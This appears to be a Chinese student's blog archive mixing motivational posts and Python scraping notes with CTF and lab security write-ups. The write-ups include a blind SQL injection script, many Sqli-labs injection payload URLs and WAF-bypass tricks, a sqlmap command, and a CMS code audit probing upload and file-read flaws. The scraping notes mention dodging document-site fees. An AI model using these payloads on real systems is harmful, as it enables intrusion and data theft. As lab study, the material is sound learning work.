Fri, 16 Mar 2018 12:01:55 +0800

大●学

Stay hungry. Stay Foolish.

踏入大学殿堂之前我以为上了大学就解放了…… 殊不知大学却是另一道起跑线……

有的人追逐自己的舞蹈梦、摄影梦有的人通宵达旦的Play Games 有的人日以继日的泡图书馆有的人裸考四六级有的人提前准备IELTS、SAT、GRE 有的人……

每个人心中都有梦想

每个人都有选择的权利

此刻是浑浑度日还是去挑战自己，做一些有意义的事情追逐自己的 Little Dream It all depends on u.

Mutual encouragement

Don’t envy them or mock them. They are in their TIME ZONE,and you are in yours！

Life is about waiting for the right moment to act. So, RELAX. You’re not LATE. You’re not EARLY. You are very much ON TIME,and in your TIME ZONE Destiny set up for you.

复现Pwnhub会员日的一道题

Tue, 13 Mar 2018 13:31:59 +0800

一开始创表和字段的时候自信的自己创。。然后发现出问题了。。然后。。就老老实实的“自带”的代码。。然后就ojbk了～～

这道题涉及了太多太多原先我并不知道的东西，所以仔细思考下来，还是收获了很多新姿势～

面对一开始的login界面，

测试了半天，发现没有注入点，然后不知道怎么进行下一步，就很懵逼～

Process

对于一个没有丰富ctf经验的小白来说。。就真的不知道要用扫描器这个神奇的东西～～后来发现thisisourcecode，就赶紧download下来审计一波～～

就只有几个php，根据代码审计老套路～寻找可控点～捋清楚逻辑

SQL注入

profile.php 中有一个注入点

但是。。过滤了我认为最重要的()，这就很难受了。。因为这样子，我该如何注入啊？？

Flag

要想拿到flag，
1.就要拿到$secrect

因为兑换码是一个“str_shuffle“的随机字符串

str_shuffle
但是要值得注意的是，这个函数是将字符串用伪随机的方式打乱，也就是一个字母用了一次之后，就不会再用第二次，我们可以利用

这个东西也是做了这套题为才知道的～～

2.就要爆破出验证码

Solution

SQL注入

要找出36位的兑换码不难，难得是

他还限制了次数，超过了140次，就重置掉，所以。。傻瓜式遍历，肯定行不通～～这对一个虽然学过二分法，但是不知道怎么用python来实现的freshman来说，好像是有点残忍～～然后感谢彭锅(Ph0rse)给的思路～再去找了些资料，似乎搞懂了。。
虽然我们要找到数据库中的兑换码，但是，兑换码在哪一列？不知道，而且过滤了()，也就意味着不能用mysql的一系列函数，来爆破列名（废话，要是能爆列名，还要盲注干嘛 :D )。
于是又从彭锅那里学到一招：

手动测试一下，回显位是第二位，果然是这样的。。所以就可以开始写脚本了。

# -*- coding:UTF-8 -*-
import requests as rq
import sys

# 准备工作
url = "http://localhost/pwnhub/profile.php"
cookies = {"PHPSESSID":"630v0vodvk3f2muj14cohfld80"}
payload = {'id':'1'}
string = '0123456789abcdefghijklmnopqrstuvwxyz'
str = ''
url = rq.get(url,cookies=cookies, params=payload)
i = 1
print(url.url)

while i <= 36:
    left = 0
    right = len(string)-1
    print('problem:')
    print(right)

    if right - left == 1:
        poc = url.url +' union select 1,2,3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
        target = rq.get(poc,cookies=cookies)
        if 'KarmA' in target.text:
            str = str + string[left]
            str = str + string[right]
            print(str)
            exit()
        else:
            str = str + string[right]
            str = str + string[left]
            print(str)
            exit()
    # 二分法
    while 1:
        mid = int((left + right)) / 2
        poc = url.url + ' union select 1,2,3,\''+str+string[mid]+'\',5 order by 4 limit 0,1--+'
        print(poc)
        target = rq.get(poc,cookies=cookies)
        print(target.text)
        if 'KarmA' in target.text:
            right = mid - 1 # 左半部
        else:
            left = mid # 右半部

        if left == right: #中值
            str = str + string[left]
            string = string.replace(string[left],'')
            break

        if right - left == 1: # 特殊情况，如不处理，会导致死循环
            poc = url.url +' union select 1,2,3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
            target = rq.get(poc, cookies=cookies)
            if 'KarmA' in target.text:
                str = str + string[left]
                string = string.replace(string[left],'')
                break

            else:
                str = str + string[right]
                string = string.replace(string[right],'')
                break

    i += 1
print(str)

验证码

对传入的captcha经过md5加密后取前4位，与session的验证码比较。所以就需要写个脚本逆向爆破一下。得到加密前的验证码。

<?php
    $i=1;
    while (1)
    {
        if(substr(md5($i),0,4)=='dd35')
        {
            echo $i;
            break;
        }
        $i++;
    }
?>

然后就得到flag了。。。

Being grateful for what you have

Thu, 01 Mar 2018 12:34:32 +0800

大师姓曹，从事这一行三十余年，圈内很有名气。

在市里吃过饭，赵某开车载着曹大师前往郊区。一路上，如果后头有车要超，赵某都是避让。

曹大师笑道：“赵老板开车挺稳当呢。”虽然是香港人，一口普通话还算流利。

赵某哈哈一笑：“要超车的多半有急事，可不能耽误他们。”

行至小镇，街道远比市内要狭窄，赵某放慢了车速。

一名小孩嬉笑着从巷子里冲了出来，赵某一脚刹车堪堪避开，小孩笑嘻嘻的跑过去以后，他并没有踩油门前行，而是看着巷子口，似乎在等着什么，片刻，又有一名小孩冲了出来，追赶着先前那名小孩远去。

曹大师讶然问，“你怎么知道后头还有小孩？”

赵某耸耸肩，“小孩子都是追追打打，光是一个人他可不会笑得这么开心。”

曹大师竖起了大拇指，笑道：“有心。”

到了别墅，刚下车，后院突然飞起七八只鸟，见状，赵某停在门口，抱歉的冲曹大师说道：“麻烦大师在门口等一会。”

“有什么事吗？”曹大师再次讶然。

“后院肯定有小孩在偷摘荔枝，我们现在进去，小孩自然惊慌，万一掉下来就不好了。”赵某笑着说道。

曹大师默然片刻，“你这房子的风水不用看了。”

这次轮到赵某讶然了，“大师何出此言？”

“有您在的地方，都是风水吉地。”目中有人，才有路，心中有爱，才有度。一个人的宽容，来自一颗善待他人的心。一个人的涵养，来自一颗尊重他人的心。一个人的修养，来自一颗和善的心。为别人付出就是给自己铺路。感恩一切！口中有德，目中有人，心中有爱，行中有善！只有知道感恩的人才能让自己的生活更有色彩！

文章来源于网络，如有侵权，请联系删除！

Python3 Web Spider Notes

Thu, 01 Mar 2018 09:39:59 +0800

根据 Jack-Cui Python3网络爬虫教程 实践总结出如下笔记

（一）利用urllib进行简单的网页抓取

urllib

1.urllib.request模块是用来打开和读取URLs的；

2.urllib.error模块包含一些有urllib.request产生的错误，可以使用try进行捕捉处理；

3.urllib.parse模块包含了一些解析URLs的方法；

4.urllib.robotparser模块用来解析robots.txt文本文件.它提供了一个单独的RobotFileParser类，通过该类提供的can_fetch()方法测试爬虫是否可以下载一个页面。

5.urlopen各类参数

requests模块

chardet模块

.read()方法可以读取返回的文本对象

.decode() 可以转码

(二)：利用urllib.urlopen向有道翻译发送数据获得翻译结果

geturl()返回的是一个url的字符串；

info()返回的是一些meta标记的元信息，包括一些服务器的信息；

getcode()返回的是HTTP的状态码，如果返回200表示请求成功。

但是好像现在有道翻译网页更新了之后。。好像爬不出来了～

(三)：urllib.error异常

HTTPError和URLError一起捕获异常，那么需要将HTTPError放在URLError的前面，因为HTTPError是URLError的一个子类。如果URLError放在前面，出现HTTP异常会先响应URLError，这样HTTPError就捕获不到错误信息了。

这里发现一个有趣的现象，URL上是一个404页面，但是爬的时候没有加ua，所以httperror就变成了403了:)

(四)：使用User Agent和代理IP隐藏身份

User Agent

两种方法加UA，注意headers参数要求为字典

在创建Request对象的时候就传入headers参数
创建之后用 .add.header() 方法添加

IP代理

捣鼓来捣鼓去，都是出现error～

http.client.RemoteDisconnected: Remote end closed connection without response

然后后来发现，是代理ip的问题，换了个ip之后出现了504～

结果成功没报错之后，没有print的值～这就……

(五)：Python3安装Scrapy

自动跳过～因为我已经装了:)

(六)：Python3使用Cookie-模拟登陆获取妹子联系方式

这个网站已经关闭注册了，所以，理解代码思路就ok！

将cookie保存到变量中

利用CookieJar对象实现获取cookie的功能，存储到变量中

保存cookie到文件中

使用MozillaCookieJar来实现Cookie的保存

cookie.save的参数说明：

ignore_discard的意思是即使cookies将被丢弃也将它保存下来；

ignore_expires的意思是如果在该文件中cookies已经存在，则覆盖原文件写入。

从文件中获取cookie

cookie.load就是从文件中获取cookie，其余参数不变

(七)：使用Beautiful Soup爬取小说

Beautiful Soup

这是个利器啊～～！

手敲代码，果然会手误啊！敲了半天，逻辑没错。。检查了半天才发现～～打少了个字母，然后就报错了！

纠正回来，然后就顺利爬到各章节的页面

成功爬取整本小说的内容。。。瞬间感觉成就感爆棚～～哈哈哈哈！让我捋一捋思路，简化一下代码先～～

Maybe 多线程？

(八)：爱奇艺等主流视频网站的VIP视频破解(在线观看+视频下载)

这个暂时先放一放～

(九)：使用Selenium爬取百度文库word文章

Mac OS环境配置chromedriver

发现百度文库排版设计发生了变化～没那么好用xpath定位了，然后我就在豆丁上审计了一下元素，发现好像可以～～豆丁上的页面排版跟旧版百度文库好像。。。没什么区别～除了名字不一样之外～～难道？？:)

这一节卡了我好久，用到了前面用过的BeautifulSoup和还没完全搞懂的re～～

总结来说就是多次用BeautifulSoup来筛选内容，然后用Selenium来定位元素，通过selenium和jsp脚本，翻页，根据每5页内容放在一个页面内，然后用一个表达式判断啥时候到尾，结束循环，爬完～如果再利用写入文件，就可以把爬去的内容导出，然后就可以～～免去一笔费用啦！！

实际操作的时候，发现不少坑，python的简单，让锁进变得更严谨，有时候自己根本看不出来是锁进的问题。。但他确确实实就是锁进的问题。。一次次的调试，让我渐渐明白selenum的原理。。可以自动翻页，但是。。。爬取的内容还是前5页的～后来发现循环那里没有重新爬页面。。调整之后就可以实现爬整篇文章了，但是想写入文件。。对于 write 方法我还没掌握好，所以又要研究一会儿.

Bingo～

但是对于打印进度的 sys 模块还没完全搞清楚如何弄，再看看官方文档先～

(十)：这个帅哥、肌肉男横行的世界（爬取帅哥图）

requests库

CTF in ShiYanBa

Mon, 19 Feb 2018 12:46:03 +0800

简单的登陆题

这一题有点难度，卡住了～～

后台登陆

查看源码

<!-- $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)>0){
            echo 'flag is :'.$flag;
        }
        else{
            echo '密码错误!';
        } -->

注入题是肯定的。。但是经过了md5加密，然后就去网上搜了一波关于md5的注入。。然后就发现了一个神奇的字符串：ffifdyop竟然发现。。。跟这道题的php文件是同一个名字，仿佛明白了什么之后，就去试了试提交。。结果flag就出来了。。

原理：

与SQL注入原理相同，只是需要用爆破md5来求出字符串

当我们苦心孤诣的想，什么字符串经过md5加密后又可以转换成我们想要的注入字符串时，已经有大牛用脚本爆破出一个“万能”flag了。。

加了料的报错注入

这里过滤了# =

PHP大法

解题链接

关键代码：

将hackerDJ url编码之后发现，还是not allowed 。就重新捋了一遍逻辑，发现浏览器url栏上会url解码一次，所以需要将hackerDJ二次url编码，再get进去就得到flag了。

上传绕过

解题链接

一看到上传绕过就想到了00截断

首先尝试上传php文件，然后发现要上传图片，然后又试了试上传图片，发现成功上传，但是又要求php后缀才行。。于是就觉得是在前端判断是否是图片后缀，然后再判断上传到目录中的文件是否是php来get flag。所以就在burp里改了file name，再改了hex，然后就OK了。

简单的SQL注入

解题链接

这个真是“简单”啊。一下子过滤了那么多～～～不过也get也一波绕过waf新方法。。但是，只要把绕过找出来。。藏flag的地方的确很。。。

用sqlmap跑，再用上一个绕waf脚本，ok！

深入理解SQL注入绕过WAF和过滤机制

简单的SQL注入2

解题链接

解题思路一样

sqlmap -u "http://ctf5.shiyanbar.com/web/index_2.php/?id=1" --dump -C flag -T flag -D web1 --tamper="space2comment.py" --level=3

简单的SQL注入3

连flag都一样的～如果用sqlmap跑这三道题，简直是送分，当然，如果手注的话，还是会发现细微的区别的！

SQL Injection - Sqli-labs

Mon, 05 Feb 2018 10:15:13 +0800

Sqli-labs

less-1 GET - Error based - Single quotes - String

(基于错误的GET单引号字符型注入)

查询（union）

当函数mysql_fetch_array只被调用了一次时，且想显示非第一行查询的数据库数据时，可以让第一行的查询结果为空，那么，非第一行（union右边）的查询结果自然就成了第一行。

union的作用是将两个sql语句进行联合。union前后的两个sql语句的选择列数要相同才可以（用order by查询行数）。Union all与union 的区别是增加了去重的功能

数据库连接函数

concat和concat_ws

其中concat_ws的第一个参数是连接字符串的分隔符，还会用到group__concat(可以把查询出来的多行连接起来)

常用：concat_ws(char(32,58,32),user(),database(),version())

查表

查询information_schema中的信息时，使用where语句，那个值不能直接用英文，要用单引号包裹着，当然用其十六进制表示也可以，数值类型的就不用单引号了

limit

查表时也只能返回一个table，所以要用limit来控制结果集具体是哪一行

solution

Payload:http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,2,3 --+

爆库：http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表：http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆列：http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据：http://localhost/sqli-labs/Less-1/index.php/?id=0'union select 1,username,password from users where id =3--+

less-2 GET - Error based - Intiger based

(基于错误的GET整型注入)

跟less1一样，只是不用闭合‘

solution

Payload:http://localhost/sqli-labs/Less-2/index.php/?id=1 --+

http://localhost/sqli-labs/Less-2/index.php/?id=1 or 1=1

http://localhost/sqli-labs/Less-2/index.php/?id=1 or 1=1--+

less-3 GET - Error based - Single quotes with twist string

(基于错误的GET单引号变形字符型注入)

多了 ‘) 那么sql语句里的id 应该就是 ('$id') 这样！

solution

Payload:http://localhost/sqli-labs/Less-3/index.php/?id=1′) --+

http://localhost/sqli-labs/Less-3/index.php/?id=1') or '1'=('1'

http://localhost/sqli-labs/Less-3/index.php/?id=1′) --+

less-4 GET - Error based - Double Quotes - String

(基于错误的GET双引号字符型注入)

php中双引号可以包含单引号，所以判断是否存在注入时，还需要用 “ 来判断

solution

Payload:http://localhost/sqli-labs/Less-4/index.php/?id=1") --+

http://localhost/sqli-labs/Less-4/index.php/?id=1") or "1"=("1

less-5 GET - Double Injection - Single Quotes - String

(双注入GET单引号字符型注入)

报错注入

count(*)

http://localhost/sqli-labs/Less-5/index.php/
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

exp

数据类型超出范围进行报错注入

bigint

bigint溢出进行报错注入

xpath

xpath函数报错注入

http://localhost/sqli-labs/Less-5/index.php/
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

利用数据的重复性

http://localhost/sqli-labs/Less-5/index.php/
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

solution

payload：

布尔注入：

报错注入：

http://localhost/sqli/Less-5/?id=1' and (select 1 from(select count(),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand() 2))name from information_schema.tables group by name)b) --+

延时注入：

http://localhost/sqli-labs/Less-5/index.php/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

http://localhost/sqli-labs/Less-5/index.php/
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

less-6 GET - Double Injection - Double Quotes - String

(双注入GET双引号字符型注入)

payload跟less-5异曲同工，只是把 ‘ 改成 “

less-7 GET - Dump into outfile - String

(导出文件GET字符型注入)

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

outfile函数将数据库中的内容写到一个文件中

dumpfile只能使用一行

load_file函数用来从文件系统中将文件导入到mysql中

虽然有相应数据库权限，也对路径进行了转义，但是还是没有成功导出文件，尝试导出在tmp文件夹，发现也不行。先放着吧！

http://localhost/sqli-labs/Less-7/index.php/?id=1')) union select 1,2,3 into outfile "C:\phpStudy\tmp\1.php" %23

(布尔型单引号GET盲注)

这一关把mysql报错的语句注释了，所以就不能用报错注入了。

布尔盲注

left()

left()得到字符串左部指定个数的字符

left ( string, n ) string为要截取的字符串，n为长度。

正确时返回 “You are in 。。。。“ 否则则无回显。

length()

测试数据库长度

substr()与ascii()并用

substr()和substring()函数实现的功能是一样的，均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

获取security数据库的第一个表(limit 0,1)的字符

获取该数据库的第二个表 limit 1,1

regexp

利用regexp获取（2）中users表中的列

I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

II select * from users where id=1 and 1=(user() regexp'^ri');

通过if语句的条件判断，返回一些条件句，比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。

III select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可

'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE

SQL盲注之正则表达式攻击

ord() 和 mid(column_name,start[,length])

利用 ord()（此函数为返回第一个字符的ASCII码）和 mid() 函数获取users表的内容

例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114，也即是‘r’

(基于时间的GET单引号盲注)

延时注入

sleep()

利用sleep()函数进行注入

http://localhost/sqli-labs/Less-9/index.php/
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

BENCHMARK()

利用BENCHMARK()进行延时注入

当结果正确的时候，运行ENCODE('MSG','by 5 seconds')操作50000000次，会占用一段时间。

solution

payload：

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

(基于时间的双引号盲注)

与less-9一样，只是从 ’ 变成 “

less-11 POST - Error Based - single quotes - String

在GET型里面用到的大部分方法都可以使用

less-12 POST - Error Based - Double quotes - String - with twist

’ 变 ”

less-13 POST Double injection - Single quotes - String - with twist

从错误回显中知道对id进行了 ')处理，所以用布尔盲注来判断是否成功login

solution

payload:

猜版本号

uname=admin')and left(@@version,1)=5%23 &passwd=2222&submit=Submit

less-14 POST - Double injection - Single quotes - String - with twist

有报错，可以用报错注入

solution

payload

less-15 POST - Blind - Boolian/time Based - Single quotes

没有错误回显，可以用布尔盲注和延时注入

solution

payload

less-16 POST - Blind - Boolian/Time Based - Double quotes

单引号变双引号

less-17 POST - Update Query - Error Based - String

这题只能从password处注入，因为username处的特殊字符都用 check_input()函数经过了特殊转义

增删改函数介绍

less-18 POST - Header injection - Uagent field - Error based

这一题把password处也跟username一样处理了，所以那两处都无法注入了。看代码得知这里的注入是INSERT类型的，INSERT注入可以利用报错注入的方式获取数据。

less-19 POST - Header injection Referer field - Error based

跟上一题一样，只是在referer中注入

username获取 -> cookie -> username读取 -> 查询

less-21 POST Dump into outfile - String

跟上一题一样，只是cookie要base64编码一下

less-22 Future Editions

把‘变成"

绕过姿势

基于page-2 都是一些绕waf的题，所以顺便将绕waf的新姿势mark下来。

过滤 or 和 and

大小写变形 Or,OR,oR
编码，hex，urlencode
添加注释/or/
利用符号 and=&& or=||

过滤空格，or，and,/*,#,--,/等各种符号

过滤空格，or，and,/*,#,--,/等各种符号
对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ；对于空格，有较多的方法：

%09 TAB键（水平）
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键（垂直）
%a0 空格

less-23

过滤了# 和--
用'闭合后面的'即可

less-24

二次排序注入

注册一个admin'#帐号，然后登录，修改密码。发现修改的是admin的密码！

less-25

过滤 or 和 and

Less-25a

不同于25关的是sql语句中对于id，没有''的包含，同时没有输出错误项，报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式：延时注入和联合注入。

less-26

过滤空格，or，and,/*,#,--,/等各种符号

less-26a

这关与26的区别在于，sql语句添加了一个括号，同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入，这里依旧是利用union注入。

less-27

增加过滤 union，select

less-27a

本关与27关的区别在于对于id的处理，这里用的是 " ，同时mysql的错误不会在前端页面显示。

less-28

代码审计实例-BEES_4.0_R_20160525

Wed, 20 Dec 2017 15:05:40 +0800

把握大局（分析网站结构）-> 通读全文法/敏感函数参数回溯法/定向功能分析法 ->

文件上传

move_uploaded_file

用sexy法师的审计系统扫一扫，发现存在四个地方存在文件上传（move_uploaded_file 函数）

1.admin_pic.php

这个只是在图片列表“修改”选项处的重新上传，并将旧照片替换掉，用burp改参数的确可以直接传一个php文件，但是后缀名是不变的，所以没有利用的地方。

2.fun.php

定义函数的汇总 php。这里定义了一个 up_img 函数，规定了大小、格式、是否重名……

同样的，上传这一关很容易就bypass过去了。但是仔细审计 up_img 函数就会发现。它的 $file_name 不是直接就从上传那直接获得，而是经过一系列的拼接，估计就是为了防止稍微用burp改一下参数就导致文件上传漏洞的产生吧！

3.img.class.php

这里也有一些关于图片信息的函数，文件名是由“年月日时分秒+id（rand）+拓展名（ext）”拼接而成

4.upload_more.php

上传多张图片
在upload.php中测试怎么bypass

经过上述php的审计，得出他是用白名单策略来检查扩展名，所以就试了下 nginx空子节漏洞，用burp在.jpg后加上%00.php后发现上传的jpg文件已经被解析为php了。所以…. :)

难道只存在解析漏洞？再找找看～～

但是我又在之前已嵌入php代码的png文件中尝试用%00.php 来执行png中的代码，发现不得行：

初步分析是过滤了%，
但是直接在url上加%后enter，发现，没有被转义啊！

But Why？

getimagesize()

验证文件头只要为GIF89a，就会返回真

1.admin_pic.php

if($is_thumb){//开启缩略图
        $file_info=@getimagesize($file_name);
        if(empty($file_info)){msg('图片不存在，操作失败');}

2.fun.php

if(!move_uploaded_file($file['tmp_name'],$file_name)){
            msg('图片上传失败','',0);
        }
        $file_info=@getimagesize($file_name);
            switch($file_info[2]){
            case 1:
            $php_file=@imagecreatefromgif($file_name);
            break;
            case 2:
            $php_file=@imagecreatefromjpeg($file_name);
            break;
            case 3:
            $php_file=@imagecreatefrompng($file_name);
            break;
            }

上传图片下面有getimagesize()函数，对参数进行处理。

if($_sys['image_type'][0]){
                $logo=CMS_PATH.'upload/'.$_sys['pic'];
                $logo_info=@getimagesize($logo);
                switch($logo_info[2]){
                case 1:
                $logo_file=@imagecreatefromgif($logo);
                break;
                case 2:
                $logo_file=@imagecreatefromjpeg($logo);
                break;
                case 3:
                $logo_file=@imagecreatefrompng($logo);
                break;
                }

虽然加了png文件头，识别为图片后缀。但是想绕过上传，怕是不大行，因为都是用同一套上传验证机制。这个函数好像在这里好像只是用于读取长宽，并判断后缀名，下面也对postion位置进行case分类[1-2-3]，然后拼接。用imagecopy拷贝一下图像参数。

imagecopy($logo_img,$logo_file,$position[0],$position[1],0,0,$logo_info[0],$logo_info[1]);

getimagesize 函数不是完全可靠的

文件包含

遍历了所有包含include的文件，全都是直接拼接的路径like “ include(DATA_PATH.$lang.'_info.php'); ",没有发现包含来自（$_GET or $POST ）来的文件，所以。。在当前的知识框架下，我好像找不到其他利用的方式，也就无法配合伪协议+文件上传漏洞来利用。

文件操作

任意文件读取

先从 file_get_contents() 入手

1 -> karma@d0g3.cn.php

$privKeyStr = file_get_contents($this->DKIM_private);

DKIM是域名密钥识别邮件标准 ，所以此处应该只是将隐私信息赋给 $privkeystr ，没有发现可控的地方。

```Php
$file = tempnam('', 'karma@d0g3.cn');

file_put_contents($file, $body); //TODO check this worked

$signed = tempnam("", "signed");
if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_cert_file, array("file://".$this->sign_key_file, $this->sign_key_pass), NULL)) {

@unlink($file);

@unlink($signed);

$body = file_get_contents($signed);
```

$signed = tempnam("", "signed");

// tempnam(dir,prefix) 创建一个具有唯一文件名的临时文件。

@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_cert_file, array("file://".$this->sign_key_file, $this->sign_key_pass), NULL)

// openssl_pkcs7_sign —> Sign an S/MIME message 好像是一个类似数字签名验证的东西

$signed 里面的数据是在验证中从 $file 中传过去的，而 $file <- sign_cert_file ，好像也没有可控的变量 :(

$file_buffer = file_get_contents($path);

$file_buffer = $this->EncodeString($file_buffer, $encoding); // base64转义

2 -> admin_db.php

elseif($action=='save_import'){
    if(!check_purview('data_import')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
    $fl = $_GET['fl'];
    $time = isset($_GET['time'])?$_GET['time']:'';
    $rand = isset($_GET['rand'])?$_GET['rand']:'';
    $page = isset($_GET['page'])?$_GET['page']:1;
    if(empty($fl)){err('<span style="color:red">参数传递错误,请重新操作</span>');}
    if($time&&$rand&&$page){
$import_file =DATA_PATH.'backup/'.$fl.'/db_backup_'.$time.'_'.$rand.'_'.$page.'.sql';
    if(@file_exists($import_file))
    {
        $data=@file_get_contents($import_file);
        $data=explode(";\n",trim($data));

        if(!empty($data)){
            foreach($data as $k=>$v){
                $GLOBALS['mysql']->query($v);
            }
        }

        show_htm('卷'.$page.'导入完成','?action=save_import&fl='.$fl.'&time='.$time.'&rand='.$rand.'&page='.($page+1).'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
    }

$file_get_contents <- $import_file <-(DATA_PATH.'backup/'.$fl.'/db_backup_'.$time.'_'.$rand.'_'.$page.'.sql')

其中 $f1、$time、$rand、$page都是通过 $_GET 传递的，所以，是可控的，看看是否有利用的价值。

三元运算符： ?:

```php
<?php
// Example usage for: Ternary Operator
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

// The above is identical to this if/else statement
if (empty($_POST['action'])) {
$action = 'default';
} else {
$action = $_POST['action'];
}
?>
```
explode() 把字符串打散为数组

trim() 移除字符串两侧的字符

3 -> tpl.class.php

    if($include_cache){$this->template_is_cache=0;}
    $this->template_file=$this->template_dir.$template_file.'.html';
    if(!file_exists($this->template_file)){die('不存在模板文件'.$template_file.'.html');}
    $this->template_file_content=file_get_contents($this->template_file);
    $this->template_com_file=$this->template_compile.$template_file.'_'.$this->template_lang.$this->mb.'_compile.php';//编译文件
    $this->cache();//生成缓存文件
    $this->compile();//编译模板
    $this->view($is_copy);//显示模板
    if($this->tp){echo $this->content;}

$this->template_file <- $this->template_dir.$template_file.'.html'未发现可控变量，而且模版是直接从数据库中调出，并没有上传模版的地方。

再从 fread() 入手

1 -> fun.php

function copy_lang($lang){
    if(isset($lang)){
        if(!$fp=@fopen(LANG_PATH.'lang_cn.php','r')){
            msg('基本语言包不能操作，请检查是否有操作文件的权限','javascript:history.go(-1);');
        }
        $fl=fread($fp,filesize(LANG_PATH.'lang_cn.php'));
        unset($fp);
        $fp2=@fopen(LANG_PATH.'lang_'.$lang.'.php','w');
        return fwrite($fp2,$fl);

function creat_inc($fl,$str){
    if(file_exists($fl)){@unlink($fl);}
    if(!$fp=@fopen($fl,'w')){
        msg('文件打开失败,请检查是否有足够的权限操作文件');
    }
    flock($fp,LOCK_EX);
    if(!fwrite($fp,$str)){
        msg('写入文件失败,请检查是否有足够的权限操作文件');
    }
    flock($fp,LOCK_UN);
    unset($fp);

生成语言配置文件，好像。。没办法从基本语言包处入手啊！

2 -> admin_template_php

elseif($action=='xg'){
    if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
    $file = $_GET['file'];
    $path=CMS_PATH.$file;
    if(!$fp=@fopen($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
    flock($fp,LOCK_EX);
    $str=@fread($fp,filesize($path));
    $str = str_replace("&","&amp;",$str);
    $str= str_replace(array("'",'"',"<",">"),array("&#39;","&quot;","&lt;","&gt;"),$str);
    flock($fp,LOCK_UN);
    fclose($fp);
    include('template/admin_template_xg.php');

$path <- CMS_PATH.$file <-$_GET['file']

虽然变量可控，但是好像没有echo的地方啊，也无法形成任意文件读取漏洞～ :(

3 -> karma@d0g3.cn.php
多个PHP karma@d0g3.cn函数引发的命令执行漏洞分析

XSS

SQL Injection

1-> member.php

登陆的时候随便测试了一下万能密码，发现 ‘ 被 \' 转义了，= 也被过滤了。

但是在burp上稍微改改参数，但是会显示密码不正确，好像还没看懂如何验证登录。

首页的搜索框是不是也可以看看有没有注入的点？

好像一有query语句，就会有x和y……

然后sql语句执行了有上90条～估计是遍历各个地方看看有没有所需的东西。

代码/命令执行

preg_replace()

popen()

karma@d0g3.cn.php

if ($this->SingleTo === true) {
      foreach ($this->SingleToArray as $key => $val) {
        if(!@$karma@d0g3.cn = popen($sendmail, 'w')) {
          throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
        }
        fputs($karma@d0g3.cn, "To: " . $val . "\n");
        fputs($karma@d0g3.cn, $header);
        fputs($karma@d0g3.cn, $body);
        $result = pclose($karma@d0g3.cn);

NOTES

payload、shellcode、exp、poc怎么区别？

php中$this->是什么意思？

PHP中的符号 ->、=> 和 :: 分别表示什么意思?

Nginx %00空字节执行任意代码(php)漏洞

Mac下配置mentohust连接校园网/移动/联通/

Fri, 08 Dec 2017 14:47:11 +0800

原因：可能锐捷客户端是被修改过的，所以mac会自动识别为文件损坏（就像你打开**软件一样）
解决方法：打开终端，并输入如下代码

sudo spctl --master-disable

根据提示，输入密码-->回车，你再打开锐捷客户端，如果运气好，那你就可以像你的windows室友一样轻轻松松连上校园网了。（反正我是不行>.<）

所以我们还是老老实实的配置mentohust吧QAQ

0x01首先需要下载mentohust配置文件

百度云：链接:https://pan.baidu.com/s/1mi3QOfY 密码:avwy

0x02配置重要步骤

1⃣把mentohust_mac压缩包里的dhcping和mentohust文件复制到/usr/bin/目录下.
如果你无法复制到上面的目录，可以尝试在/usr/local/bin中进行以下操作（别忘了拷贝上面两个文件到这里）。

有人会问：“我怎么没看到/usr/local/bin在哪里？

废话，那是隐藏文件夹，肯定啊！！

所以你只需要右键你的finder：finder->前往->前往文件夹->……

2⃣其次，在/etc目录下新建mentohust文件夹，然后把网盘里面下载下来的三个压缩包解压后的文件全部丢到这里面。

3⃣打开终端，输入sudo mentohust，按照提示选择。

具体有什么设置我忘记了，反正账号名是学号，密码是教务处密码。

敲黑板，划重点！！

组播方式，我选的1，锐捷，，，DHCP认证方式，我选择的2认证后；

